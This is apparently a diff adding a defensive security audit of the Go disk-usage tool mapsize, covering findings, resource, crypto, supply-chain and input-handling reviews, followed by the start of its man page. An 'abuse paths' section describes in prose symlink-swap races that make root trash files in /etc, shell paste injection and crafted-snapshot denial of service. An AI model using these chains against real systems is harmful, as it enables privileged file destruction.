|
|
||||||
|
#### Title
|
||||||
|
Trash identity check has residual gaps
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/platform/ops_windows.go` and `trash_unix.go`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
- On Windows, `Expect` is ignored: the scan records no owner or inode, and `SHFileOperationW` works by path.
|
||||||
|
- On Unix, the check compares owner and file type, not inode, because `inventory.Node` does not store (dev, ino). A swapped parent that leads to a same-named item with the same owner and type is still accepted. Exploiting this needs a target owned by the attacker or by the item's original owner, so there is no cross-user gain, except where root-owned items sit in attacker-writable directories.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Store `Ino`/`Dev` for files that are candidates for trashing, or re-`Lstat` before confirmation and keep the parent fd open across the dialog. On Windows, use `IFileOperation` with a handle opened with `FILE_FLAG_OPEN_REPARSE_POINT` and check the file ID.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-367.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-12
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Duplicate hashing and reveal re-resolve paths through intermediate symlinks
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/duplicate/duplicate.go` (`open`) and `internal/platform/ops_*.go` (`Reveal`).
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
After MS-04, the final component is not followed, but intermediate components are. An attacker can make the duplicate finder hash a different same-size file. The result is a false "identical" report about files the user could already read. Hash prefixes are only shown locally, so there is no disclosure to the attacker. Reveal can open a file manager at a different directory.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Use the same fd-relative traversal as MS-08 if that is implemented. Until then, the trash owner check (MS-01) prevents acting destructively on such a report.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-59.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-13
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Snapshots are integrity-checked but not authenticated, and contain host and user metadata
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/snapshot/snapshot.go`
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
The SHA-256 trailer is unkeyed. It detects corruption, not forgery: anyone can craft a valid file, which is how the hostile tests work. Snapshots contain full paths, uid and gid, mtimes, and the hostname. The files are created 0600 (`os.CreateTemp`) and renamed atomically, which is good.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Document that snapshots are sensitive, and that their contents are only as trustworthy as their source. If provenance ever matters, add an optional Ed25519 signature; for long-lived archives, consider ML-DSA or a hybrid. Not otherwise needed.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-345, CWE-359.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-14
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
JSON export is not terminal-sanitised and is lossy for non-UTF-8 names
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
High
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/export/export.go` `JSON`/`writeNode`.
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
`encoding/json` escapes C0 characters and replaces invalid UTF-8 with U+FFFD. Raw ESC therefore cannot reach the terminal (verified), but bidi overrides pass through when `--json` is printed to a terminal. Separately, names that are not valid UTF-8 are irreversibly altered, so consumers cannot map entries back to real files.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Add a `name_b64` or `name_escaped` field for non-UTF-8 names. Bidi characters in JSON are acceptable for machine consumers.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-116.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Finding ID: MS-15
|
||||||
|
|
||||||
|
#### Title
|
||||||
|
Filter parser recursion is unbounded on deeply nested input
|
||||||
|
|
||||||
|
#### Severity
|
||||||
|
Informational
|
||||||
|
|
||||||
|
#### Confidence
|
||||||
|
Medium
|
||||||
|
|
||||||
|
#### Affected Files / Components
|
||||||
|
`internal/filter/parser.go` (`unary` → `or` recursion on `(` and `NOT`).
|
||||||
|
|
||||||
|
#### Description
|
||||||
|
The query is typed by the local user, so this is self-inflicted at most. Pasting about a million `(` characters could approach Go's 1 GB stack limit and crash the process (terminal restoration is not guaranteed on a fatal stack overflow). `FuzzParse` exists.
|
||||||
|
|
||||||
|
#### Recommendation
|
||||||
|
Reject queries longer than about 4 KiB or nested more than about 256 levels.
|
||||||
|
|
||||||
|
#### References
|
||||||
|
CWE-674.
|
||||||
|
|
||||||
|
#### Assumptions / Limitations
|
||||||
|
None.
|
||||||
|
|
||||||
|
## 8. Blackhat-Style Abuse Paths
|
||||||
|
|
||||||
|
1. **Delete a system file through an administrator's cleanup (MS-01, now fixed).**
|
||||||
|
- Prerequisite: an attacker-owned directory inside the scanned tree, and root trashing an item in it.
|
||||||
|
- Chain: plant a large file named like the target, then swap the parent directory for a symlink to `/etc`; root presses `d` and moves `/etc/<name>`.
|
||||||
|
- Breakpoint: the parent fd is pinned and the owner and type are checked. The remaining gap is a same-owner target (MS-11).
|
||||||
|
2. **Shell command execution by paste (MS-02, now fixed).**
|
||||||
|
- Prerequisite: the victim copies a path, from a live scan or from a shared snapshot, and pastes it into a shell without bracketed paste.
|
||||||
|
- Breakpoint: paths containing control or bidi characters are refused for copying.
|
||||||
|
3. **"Look at my snapshot" denial of service (MS-03, now fixed).** A tiny crafted `.msz` file caused an OOM; it is now bounded by the node limit.
|
||||||
|
4. **Wedge the nightly duplicate report (MS-04, now fixed).** `mkfifo` replaces a file that appeared in the scan, and `--duplicates` hung forever.
|
||||||
|
5. **Scan poisoning (MS-08, open).** Toggling symlinks inflates or falsifies inventory totals. The impact is limited to accuracy, because destructive actions are now identity-checked.
|
||||||
|
6. **Supply chain (MS-10, open).** A moved action tag or a compromised CI runner could produce tampered release archives with matching unsigned checksums. The breakpoints are SHA pinning and signed provenance.
|
||||||
|
|
||||||
|
## 9. Denial-of-Service and Resource Exhaustion Review
|
||||||
|
|
||||||
|
**Snapshot loading:**
|
||||||
|
- The body is limited to `max(64 MiB, 64×file)` and fails during streaming.
|
||||||
|
- The node count is now ≤ max(1 Mi, file bytes).
|
||||||
|
- Depth is ≤ 4096, which bounds recursion in the exporters.
|
||||||
|
- Names are ≤ 64 KiB, extensions ≤ 64 bytes, error messages ≤ 4 KiB, metadata JSON ≤ 16 MiB, and error records ≤ `MaxErrorRecords`.
|
||||||
|
- Sizes are ≤ 1 EiB, and aggregates are recomputed with saturating arithmetic.
|
||||||
|
- `gzip.Multistream(false)`; the decompression goroutine is unblocked by `pr.Close()` on early exit, so it does not leak.
|
||||||
|
|
||||||
|
**Scanner:**
|
||||||
|
- The worker pool is bounded (1–1024).
|
||||||
|
- The job and result channels are bounded, and the controller's select loop cannot deadlock (stress-tested with capacity 1).
|
||||||
|
- Directory reads are streamed in 1024-entry chunks.
|
||||||
|
- The write lock is held for at most 8192 entries at a time.
|
||||||
|
- The pending FIFO uses O(directories) × 8 bytes.
|
||||||
|
- The hard-link and visited maps grow with the number of inodes, which is inherent.
|
||||||
|
- Virtual filesystems (procfs and similar) are skipped, so `/proc/kcore` does not dominate a scan of `/`.
|
||||||
|
- The MS-08 race is the only input-driven amplification found.
|
||||||
|
|
||||||
|
**Duplicate finder:** a bounded worker pool (4), a 16 KiB sample buffer per worker, streaming SHA-256, and context checks between files and groups. The blocking FIFO open is fixed (MS-04). A reader blocked inside `read(2)` on a hung network filesystem still cannot be cancelled, which is inherent to file I/O.
|
||||||
|
|
||||||
|
**Filter:** RE2 runs in linear time, so there is no ReDoS. `filepath.Match` is polynomial. `Apply` checks `ctx` every 65,536 nodes. Unbounded nesting is covered by MS-15.
|
||||||
|
|
||||||
|
**TUI:** renders at most once per frame from a cache; resize storms cost one layout per frame; the 10 Hz tick runs only while needed.
|
||||||
|
|
||||||
|
**Exporters:** stream output, with recursion bounded by depth (4096 for snapshots, and the real filesystem depth for live scans).
|
||||||
|
|
||||||
|
## 10. Cryptography and Key Management Review
|
||||||
|
|
||||||
|
- **Algorithms in use:** SHA-256 for the snapshot integrity trailer and for duplicate content identity. Both are appropriate.
|
||||||
|
- Duplicate identity requires a full-file SHA-256 match after the size and sample stages. Size and sampling are never treated as identity.
|
||||||
|
- **No encryption, signatures, MACs, tokens, passwords, TLS or randomness for security purposes.** `math/rand` appears only in `cmd/treegen`, a deterministic generator of synthetic test trees, which is a correct use.
|
||||||
|
- **Weak algorithms:** none present (no MD5, SHA-1, DES, RC4 or ECB).
|
||||||
|
- **Constant-time comparison:** `bytes.Equal` on the snapshot checksum is fine, because the value is not secret.
|
||||||
|
- **TLS:** the only network access is `curl -fsSL` in `make brew-formula`, which uses verified HTTPS by default; no flag disables verification.
|
||||||
|
- **Key management:** there are no keys.
|
||||||
|
- **Post-quantum:** there is no confidentiality-bearing cryptography, so there is no harvest-now-decrypt-later exposure. SHA-256's roughly 128-bit collision resistance against quantum attack is adequate. If signed snapshots or releases are added, use Ed25519 now and consider ML-DSA or a hybrid for long-lived artifacts (MS-10, MS-13).
|
||||||
|
|
||||||
|
## 11. Secrets Lifecycle and In-Memory Credential Review
|
||||||
|
|
||||||
|
- **At rest:** a search of source, tests, config and history found no secrets, keys, tokens or credentials. `.gitignore` excludes `bin/`, `*.msz`, `*.prof` and `*.test`.
|
||||||
|
- **Configuration:** `config.json` holds only display and scan preferences. No environment variables carry secrets; the variables read are `XDG_*`, `NO_COLOR`, `COLORTERM`, `MAPSIZE_ASCII` and `MAPSIZE_DEBUG_PANIC`.
|
||||||
|
- **In transit:** there is no network traffic, except the curl call in the Makefile, which uses a public URL.
|
||||||
|
- **In memory:** the application holds no credentials, so zeroisation, mlock and core-dump controls are not applicable.
|
||||||
|
- The process does hold full path listings of the scanned tree. When running as root, a core dump could expose directory structure the dumping user cannot otherwise see. This is low risk, inherent, and no worse than `du`.
|
||||||
|
- **Diagnostic exposure:**
|
||||||
|
- `--cpuprofile` and `--memprofile` write pprof files to paths the user specifies. They are created through `os.Create`, so with mode 0666 minus umask. Heap profiles contain path strings.
|
||||||
|
- There is no network pprof or debug listener.
|
||||||
|
- `MAPSIZE_DEBUG_PANIC` only causes a deliberate panic to test terminal restoration.
|
||||||
|
- **Logs:** `--log` is opened 0600 in append mode. slog's text handler quotes values that contain control characters, so log injection is neutralised. Logged content is limited to paths and errors.
|
||||||
|
- **Clipboard:** OSC 52 sends paths to the terminal emulator, and over SSH to the local machine's clipboard. That is intended; MS-02 hardened it.
|
||||||
|
|
||||||
|
## 12. Memory and Resource Safety Review
|
||||||
|
|
||||||
|
- **Native and FFI:** there is no cgo; builds use `CGO_ENABLED=0`. The only `unsafe` use is in `ops_windows.go`:
|
||||||
|
- `shFileOpStruct` mirrors `SHFILEOPSTRUCTW` for 64-bit and is guarded by a `unsafe.Sizeof(uintptr(0)) != 8` check.
|
||||||
|
- `pFrom` is a double-NUL-terminated UTF-16 slice that stays alive through the call, because `u` is referenced by `op` on the stack.
|
||||||
|
- `syscall.UTF16FromString` rejects embedded NULs.
|
||||||
|
- The struct layout matches Win64 natural alignment.
|
||||||
|
- This is sound, with low residual risk on ARM64 Windows, which uses the same LLP64 layout.
|
||||||
|
- **Syscalls through x/sys:** `Statx`, `Fstatat`, `Renameat` and `Open` take Go-managed buffers, so there is no manual memory management.
|
||||||
|
- **Untrusted parsers:** the snapshot decoder validates every length against a maximum before `make([]byte, n)`. One subtlety remains: `bytesN` allocates `n` bytes before reading. With `MaxMetaLen` at 16 MiB and `MaxNameLen` at 64 KiB this is bounded per call, and on truncation the allocation is freed. Varint overflow is handled, and parent references are validated so that cycles are impossible.
|
||||||
|
- **Integer overflow:** sizes are capped at 2^60 so that sums cannot wrap. `Recompute` saturates. `uint32` counts could wrap above 4 billion files, which is unrealistic.
|
||||||
|
- **Unbounded growth:** covered in §9. The UI caches are bounded by data version and screen size.
|
||||||
|
|
||||||
|
## 13. Dependency and Supply-Chain Review
|
||||||
|
|
||||||
|
- **Direct dependencies:** `rivo/uniseg` v0.4.7 and `golang.org/x/sys` v0.48.0. **Indirect:** the Charm stack (`bubbletea/v2` v2.0.10, `ultraviolet`, which is a pre-release pseudo-version, `x/ansi`, `colorprofile`, and others), `go-runewidth`, `displaywidth`, `uax29`, `go-colorful`, `cancelreader`, `xo/terminfo`, and `x/sync`. All are mainstream and actively maintained, and `go.sum` pins them all.
|
||||||
|
- `govulncheck ./...` (latest) reports **no vulnerabilities**.
|
||||||
|
- **Install-time scripts:** Go modules have none. The `Makefile` `release` target uses `go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1`, which is version-pinned and checked against the checksum database.
|
||||||
|
- **CI:** read-only token (fixed, MS-06). Actions are pinned by tag (MS-10, open). Matrix cross-builds and race tests are present.
|
||||||
|
- **Packaging:** nfpm installs `/usr/bin/mapsize` and the man page with mode 0644. There are no maintainer scripts and no setuid bits. The Homebrew formula builds from source.
|
||||||
|
|
||||||
|
## 14. Authentication and Authorisation Review
|
||||||
|
|
||||||
|
There is no authentication, by design: mapsize runs with the invoking user's privileges.
|
||||||
|
|
||||||
|
The authorisation-relevant control is `--read-only`. It blocks trash (`requestTrash`), and trash is also refused in snapshot mode, while a scan is running, and for the root node. Reveal, copy and snapshot saving remain allowed; this is documented and none of them modify the scanned tree.
|
||||||
|
|
||||||
|
Running as root is the main privilege concern: MS-01 is now mitigated, and MS-08 and MS-11 are residual.
|
||||||
|
|
||||||
|
## 15. Input Validation and Output Encoding Review
|
||||||
|
|
||||||
|
- **Terminal output:**
|
||||||
|
- `textutil.Sanitize` escapes C0, DEL, C1 and bidi controls and replaces invalid UTF-8.
|
||||||
|
- The canvas rejects control characters a second time and drops zero-width clusters.
|
||||||
|
- Clusters whose width is ambiguous (ZWJ sequences) are replaced, so layout cannot be spoofed.
|
||||||
|
- Every CLI report path (`Table`, `Summary`, compare, duplicates, error messages in `main`) sanitises its output.
|
||||||
|
- The existing tests check that hostile names never put ESC or OSC sequences into a frame. Verified.
|
||||||
|
- **CSV:** paths are sanitised. **Formula injection was checked and is not possible:** the scan root is made absolute (`filepath.Abs`), so every row starts with `/` or a drive letter, never `= + - @`.
|
||||||
|
- **JSON:** see MS-14.
|
||||||
|
- **Trashinfo:** `Path=` is URL-escaped with `url.URL{Path}.EscapedPath()`, so newlines and `%` cannot inject keys.
|
||||||
|
- **Exec:** helpers are always given absolute paths (`checkAbs`) as single argv entries, so a path cannot be read as an option, and no shell is used. Windows is the exception, covered by MS-09.
|
||||||
|
- **Config:** colours are parsed strictly as `#rrggbb`, the refresh rate is clamped to 1–60, and worker counts are bounded to 1–1024.
|
||||||
|
- **Filter:** errors carry positions, and regex compile errors are reported to the user.
|
||||||
|
|
||||||
|
## 16. Frontend HTML/JavaScript Robustness Review
|
||||||
|
|
||||||
|
Not applicable: there is no HTML or JavaScript. The equivalent for this project is the terminal UI:
|
||||||
|
|
||||||
|
- Bubble Tea recovers panics in `Update` and `View`, and scanner panics are routed through `scan.OnPanic`, so the terminal is always restored. This is tested via `MAPSIZE_DEBUG_PANIC`.
|
||||||
|
- Async results (trash, duplicates, filter, save) are tagged with their tree or finder, and stale results are dropped (`trashDoneMsg.tree`, `dupDoneMsg.finder`).
|
||||||
|
- Lock discipline (one `RLock` per entry point) is documented and followed. A grep of `RLock` call sites matched the documented entry points.
|
||||||
|
|
||||||
|
## 17. Infrastructure and Deployment Review
|
||||||
|
|
||||||
|
There are no containers, servers or IaC. Packages install a single static binary that is not setuid. `make install` uses `install -Dm755`/`-Dm644` under `$(DESTDIR)$(PREFIX)`. Releases are built with `-trimpath -s -w` and `CGO_ENABLED=0`; reproducibility is plausible but not verified. Signing and provenance are covered by MS-10.
|
||||||
|
|
||||||
|
## 18. Logging, Monitoring, and Error Handling Review
|
||||||
|
|
||||||
|
- Errors are surfaced, not swallowed. Scan errors are classified, counted, listed in the UI, and shown in `Summary` with an "incomplete" warning.
|
||||||
|
- Error strings shown to the user go through `Sanitize`.
|
||||||
|
- Some `bw.Write` return values are ignored in `Save` and `JSON`, but the final `Flush` reports the sticky error, so this is safe.
|
||||||
|
- `pprof.StartCPUProfile` errors are ignored, which is a minor debugging-only issue.
|
||||||
|
- The trash path removes its `.trashinfo` file on failure (now tested).
|
||||||
|
- Logging is opt-in, the log file is 0600, and output is quoted.
|
||||||
|
|
||||||
|
## 19. Test Coverage and Security Regression Gaps
|
||||||
|
|
||||||
|
**Existing coverage:** hostile snapshots (depth, bomb, sizes, metadata), fuzzers (`FuzzLoad`, `FuzzSquarify`, `FuzzParse`), scan stress under backpressure, terminal-injection frames, and trash symlink and permission cases.
|
||||||
|
|
||||||
|
**Added in this audit:**
|
||||||
|
- `TestTrashRefusesSwappedItem`
|
||||||
|
- `TestCopyRefusesControlCharacters`
|
||||||
|
- `TestFindSkipsSwappedFIFO`
|
||||||
|
- `TestNodeAmplificationLimited`
|
||||||
|
|
||||||
|
**Gaps:**
|
||||||
|
- No macOS or Windows CI run of the platform trash and reveal code (the CI matrix runs `go test`, but the platform tests are Linux-only).
|
||||||
|
- No race test with a symlink toggler for the scanner (MS-08).
|
||||||
|
- No test for `--read-only` blocking every mutating key.
|
||||||
|
- No test for parser nesting depth (MS-15).
|
||||||
|
- No `config.Load` tests with malformed values.
|
||||||
|
|
||||||
|
## 20. Prioritised Remediation Plan
|
||||||
|
|
||||||
|
- **Immediate (done):** MS-01, MS-02, MS-03, MS-04, MS-05, MS-06, MS-07.
|
||||||
|
- **Short term:**
|
||||||
|
- Verify MS-09 on Windows and refuse comma paths, or switch to `SHOpenFolderAndSelectItems`.
|
||||||
|
- Pin actions by SHA and add Dependabot (MS-10).
|
||||||
|
- Cap filter query length and nesting (MS-15).
|
||||||
|
- **Medium term:**
|
||||||
|
- Scan directories fd-relatively with (dev, ino) verification (MS-08), and reuse that traversal for duplicate hashing and reveal (MS-12).
|
||||||
|
- Store the inode identity of trash candidates (MS-11).
|
||||||
|
- Add macOS and Windows platform tests to CI.
|
||||||
|
- **Long term:**
|
||||||
|
- Signed releases and SLSA provenance (MS-10).
|
||||||
|
- Optional signed snapshots (MS-13).
|
||||||
|
- Lossless JSON names (MS-14).
|
||||||
|
|
||||||
|
## 21. False Positives / Needs Manual Verification
|
||||||
|
|
||||||
|
- **MS-09:** needs a Windows run.
|
||||||
|
- **MS-05:** reasoned for macOS but not executed there.
|
||||||
|
- **Checked and not issues:**
|
||||||
|
- CSV formula injection (the root is absolute).
|
||||||
|
- Log injection (slog quotes values).
|
||||||
|
- ReDoS (RE2).
|
||||||
|
- Varint overflow and cycle creation in snapshots (validated).
|
||||||
|
- Shell injection (no shell anywhere).
|
||||||
|
- ESC reaching the terminal through JSON (escaped by `encoding/json`).
|
||||||
|
- The trashinfo `Path=` key (URL-escaped).
|
||||||
|
- The snapshot temporary file (0600, atomic rename, removed on failure).
|
||||||
|
|
||||||
|
## 22. Final Notes
|
||||||
|
|
||||||
|
**Residual risk** is concentrated in path re-resolution after the scan (MS-08, MS-11, MS-12) when mapsize runs privileged over trees that other users can write to. The recommended operating practice until the fd-relative redesign: as root, prefer `--read-only` for exploration, and trash items only in trees that untrusted users cannot write to.
|
||||||
|
|
||||||
|
**Limitations of this audit:**
|
||||||
|
- Only Linux code was executed.
|
||||||
|
- macOS and Windows code was reviewed and cross-compiled with `go vet` only.
|
||||||
|
- Repository settings on GitHub were not visible.
|
||||||
|
- The user committed `ab3ff7b` (Homebrew formula) concurrently during the audit; it was reviewed and is unaffected.
|
||||||
+456
@@ -0,0 +1,456 @@
|
|||||||
|
.\" Manual page for mapsize. View with: man -l docs/mapsize.1
|
||||||
|
.TH MAPSIZE 1 "October 2026" "mapsize 1.2.0" "User Commands"
|
||||||
|
.SH NAME
|
||||||
|
mapsize \- interactive terminal disk usage analyser with a navigable treemap
|
||||||
|
.SH SYNOPSIS
|
||||||
|
.B mapsize
|
||||||
|
[\fIOPTIONS\fR] [\fIPATH\fR]
|
||||||
|
.br
|
||||||
|
.B mapsize
|
||||||
|
[\fIOPTIONS\fR] \fISNAPSHOT\fR.msz
|
||||||
|
.br
|
||||||
|
.B mapsize
|
||||||
|
\fB\-\-compare\fR [\fIOPTIONS\fR] \fIOLD\fR.msz \fINEW\fR.msz
|
||||||
|
.br
|
||||||
|
.B mapsize
|
||||||
|
\fIPATH\fR {\fB\-\-top\fR \fIN\fR | \fB\-\-largest\-files\fR \fIN\fR | \fB\-\-json\fR | \fB\-\-csv\fR | \fB\-\-no\-ui\fR} [\fIOPTIONS\fR]
|
||||||
|
.SH DESCRIPTION
|
||||||
|
.B mapsize
|
||||||
|
scans a directory tree and shows its disk usage as a live, space-filling
|
||||||
|
treemap that fills the terminal. Each rectangle's area is proportional to the
|
||||||
|
size of a file or directory; colours show file categories. The display
|
||||||
|
populates while the scan runs and stays interactive throughout.
|
||||||
|
.PP
|
||||||
|
Arrow keys move spatially between rectangles, Enter shows details, Space
|
||||||
|
zooms into a directory and Backspace zooms out. Other views list directory
|
||||||
|
contents, file types, top-N lists, scan errors, duplicate files and snapshot
|
||||||
|
differences. A query language filters the treemap to matching data.
|
||||||
|
.PP
|
||||||
|
With no \fIPATH\fR the current directory is scanned. If \fIPATH\fR is a
|
||||||
|
snapshot file written by
|
||||||
|
.BR mapsize ,
|
||||||
|
it is opened instead of scanning. Options may appear before or after
|
||||||
|
positional arguments.
|
||||||
|
.PP
|
||||||
|
When any report option (\fB\-\-no\-ui\fR, \fB\-\-json\fR, \fB\-\-csv\fR,
|
||||||
|
\fB\-\-top\fR, \fB\-\-largest\-files\fR, \fB\-\-duplicates\fR) is given,
|
||||||
|
.B mapsize
|
||||||
|
runs non-interactively and writes to standard output, which makes it
|
||||||
|
suitable for scripts, cron jobs and SSH sessions without a full terminal.
|
||||||
|
Progress is written to standard error when it is a terminal.
|
||||||
|
.SH OPTIONS
|
||||||
|
.SS Scanning
|
||||||
|
.TP
|
||||||
|
.BI \-\-workers " MODE"
|
||||||
|
Number of concurrent directory readers:
|
||||||
|
.BR conservative " (2), " balanced " (default; min(8, 2\(mu CPUs)), " aggressive
|
||||||
|
(min(64, 8\(mu CPUs)), or a number from 1 to 1024. More is not always faster:
|
||||||
|
on rotational disks 2\(en4 workers are often best.
|
||||||
|
.TP
|
||||||
|
.BI \-\-follow\-symlinks " MODE"
|
||||||
|
.B none
|
||||||
|
(default) treats symbolic links as leaves.
|
||||||
|
.B same\-filesystem
|
||||||
|
follows links to directories on the same filesystem;
|
||||||
|
.B all
|
||||||
|
follows every directory link. Loops are detected and nothing is counted
|
||||||
|
twice. Ignored (forced to \fBnone\fR) on platforms without inode identity,
|
||||||
|
such as Windows.
|
||||||
|
.TP
|
||||||
|
.BR \-\-one\-file\-system ", " \-x
|
||||||
|
Do not descend into directories on a different filesystem than the scan
|
||||||
|
root. Without it, other filesystems are scanned (as
|
||||||
|
.BR du (1)
|
||||||
|
does) and marked as mount points; Linux virtual filesystems (proc, sysfs,
|
||||||
|
cgroup, debugfs, \&...) are never scanned.
|
||||||
|
.TP
|
||||||
|
.BI \-\-exclude " PATTERN"
|
||||||
|
Skip matching entries. A pattern containing a path separator matches the
|
||||||
|
absolute path (relative patterns are resolved against the working
|
||||||
|
directory) and everything beneath it; otherwise it is a shell glob matched
|
||||||
|
against the entry name. May be repeated. Exclusions are always shown in the
|
||||||
|
interface and reports.
|
||||||
|
.TP
|
||||||
|
.BI \-\-scan " PATH"
|
||||||
|
Path to scan; an alternative to the positional argument.
|
||||||
|
.SS Display
|
||||||
|
.TP
|
||||||
|
.B \-\-apparent
|
||||||
|
Size by logical (apparent) size instead of allocated disk usage.
|
||||||
|
.TP
|
||||||
|
.B \-\-si
|
||||||
|
Use SI units (kB, MB, GB; powers of 1000) instead of the default IEC units
|
||||||
|
(KiB, MiB, GiB; powers of 1024). The two are never mixed.
|
||||||
|
.TP
|
||||||
|
.BI \-\-theme " NAME"
|
||||||
|
Colour theme:
|
||||||
|
.BR default ", " dark ", " high\-contrast " or " mono .
|
||||||
|
.TP
|
||||||
|
.BI \-\-color " DEPTH"
|
||||||
|
Override colour detection:
|
||||||
|
.BR auto " (default), " truecolor ", " 256 ", " 16 " or " none .
|
||||||
|
Useful over SSH, where \fBCOLORTERM\fR is often not forwarded.
|
||||||
|
.TP
|
||||||
|
.B \-\-no\-mouse
|
||||||
|
Disable mouse support. Everything works from the keyboard.
|
||||||
|
.TP
|
||||||
|
.B \-\-read\-only
|
||||||
|
Disable every action that modifies the filesystem (trash and delete) and
|
||||||
|
show \fBREAD ONLY\fR in the header. Saving a snapshot file is still
|
||||||
|
allowed. This does not make
|
||||||
|
.B mapsize
|
||||||
|
a forensic acquisition tool: scanning uses ordinary filesystem calls, and
|
||||||
|
duplicate detection reads file contents, which may update access times.
|
||||||
|
.SS Reports
|
||||||
|
.TP
|
||||||
|
.B \-\-no\-ui
|
||||||
|
Scan without the interactive interface and print a summary.
|
||||||
|
.TP
|
||||||
|
.BI \-\-top " N"
|
||||||
|
Print the \fIN\fR largest entries directly under the root.
|
||||||
|
.TP
|
||||||
|
.BI \-\-largest\-files " N"
|
||||||
|
Print the \fIN\fR largest files anywhere in the tree.
|
||||||
|
.TP
|
||||||
|
.B \-\-json
|
||||||
|
Print the inventory as nested JSON, with scan metadata and error counts.
|
||||||
|
.TP
|
||||||
|
.B \-\-csv
|
||||||
|
Print one CSV row per entry: path, type, size, allocated, files, dirs,
|
||||||
|
errors, modified, flags. Paths are escaped so the output is safe to print
|
||||||
|
to a terminal.
|
||||||
|
.TP
|
||||||
|
.BI \-\-depth " N"
|
||||||
|
Limit \fB\-\-json\fR and \fB\-\-csv\fR to \fIN\fR levels (default \-1,
|
||||||
|
unlimited).
|
||||||
|
.TP
|
||||||
|
.B \-\-duplicates
|
||||||
|
Find files with identical content and print verified groups (see
|
||||||
|
\fBDUPLICATES\fR).
|
||||||
|
.SS Snapshots
|
||||||
|
.TP
|
||||||
|
.BI \-\-save " FILE" "\fR, \fP\-\-snapshot " FILE
|
||||||
|
Save a snapshot when the scan completes (not if it was cancelled).
|
||||||
|
.TP
|
||||||
|
.BI \-\-load " FILE"
|
||||||
|
Open a snapshot instead of scanning.
|
||||||
|
.TP
|
||||||
|
.B \-\-compare
|
||||||
|
Compare two snapshots given as positional arguments, \fIOLD\fR then
|
||||||
|
\fINEW\fR. Opens the interface (read-only) with growth and shrinkage
|
||||||
|
colouring, or prints the most significant changes with \fB\-\-no\-ui\fR
|
||||||
|
(\fB\-\-top\fR sets how many; default 30).
|
||||||
|
.SS Diagnostics
|
||||||
|
.TP
|
||||||
|
.BI \-\-log " FILE"
|
||||||
|
Append a log to \fIFILE\fR without disturbing the interface. Full paths are
|
||||||
|
logged only at \fBdebug\fR level and above.
|
||||||
|
.TP
|
||||||
|
.BI \-\-log\-level " LEVEL"
|
||||||
|
.BR error ", " warn ", " info " (default), " debug " or " trace .
|
||||||
|
.TP
|
||||||
|
.BI \-\-cpuprofile " FILE"
|
||||||
|
Write a Go CPU profile.
|
||||||
|
.TP
|
||||||
|
.BI \-\-memprofile " FILE"
|
||||||
|
Write a Go heap profile on exit.
|
||||||
|
.TP
|
||||||
|
.B \-\-version
|
||||||
|
Print the version and exit.
|
||||||
|
.TP
|
||||||
|
.BR \-h ", " \-\-help
|
||||||
|
Print usage and exit.
|
||||||
|
.SH KEYS
|
||||||
|
.SS Navigation
|
||||||
|
.TP 18
|
||||||
|
.BR "\(ua \(da \(<- \(->" ", " "h j k l"
|
||||||
|
Move to the neighbouring rectangle in that direction (lists: move the
|
||||||
|
cursor).
|
||||||
|
.TP
|
||||||
|
.B Enter
|
||||||
|
Show item information: path, logical and allocated size, type, category,
|
||||||
|
times, mode, owner, group, hard links, sparseness, and for directories file
|
||||||
|
and directory counts, share of parent and scan, largest child and errors
|
||||||
|
beneath.
|
||||||
|
.TP
|
||||||
|
.BR Space ", " \(->
|
||||||
|
Zoom into the selected directory (lists: enter it).
|
||||||
|
.TP
|
||||||
|
.BR Backspace ", " \(<-
|
||||||
|
Zoom out one level.
|
||||||
|
.TP
|
||||||
|
.B Home
|
||||||
|
Return to the scan root.
|
||||||
|
.TP
|
||||||
|
.B Esc
|
||||||
|
Clear the filter, otherwise zoom out; closes any open window.
|
||||||
|
.SS Views
|
||||||
|
.TP 18
|
||||||
|
.BR Tab ", " Shift+Tab
|
||||||
|
Next / previous view.
|
||||||
|
.TP
|
||||||
|
.BR 1 \(en 7
|
||||||
|
Jump to a view:
|
||||||
|
.BR Map ", " List ", " Types ", " Top ", " Scan ,
|
||||||
|
then \fBChanges\fR (compare mode) and \fBDups\fR (after a duplicate
|
||||||
|
search).
|
||||||
|
.TP
|
||||||
|
.B x
|
||||||
|
File types: count and size per extension. Enter filters the map by that
|
||||||
|
extension.
|
||||||
|
.TP
|
||||||
|
.B g
|
||||||
|
Top lists: largest files, largest directories by own files, oldest and
|
||||||
|
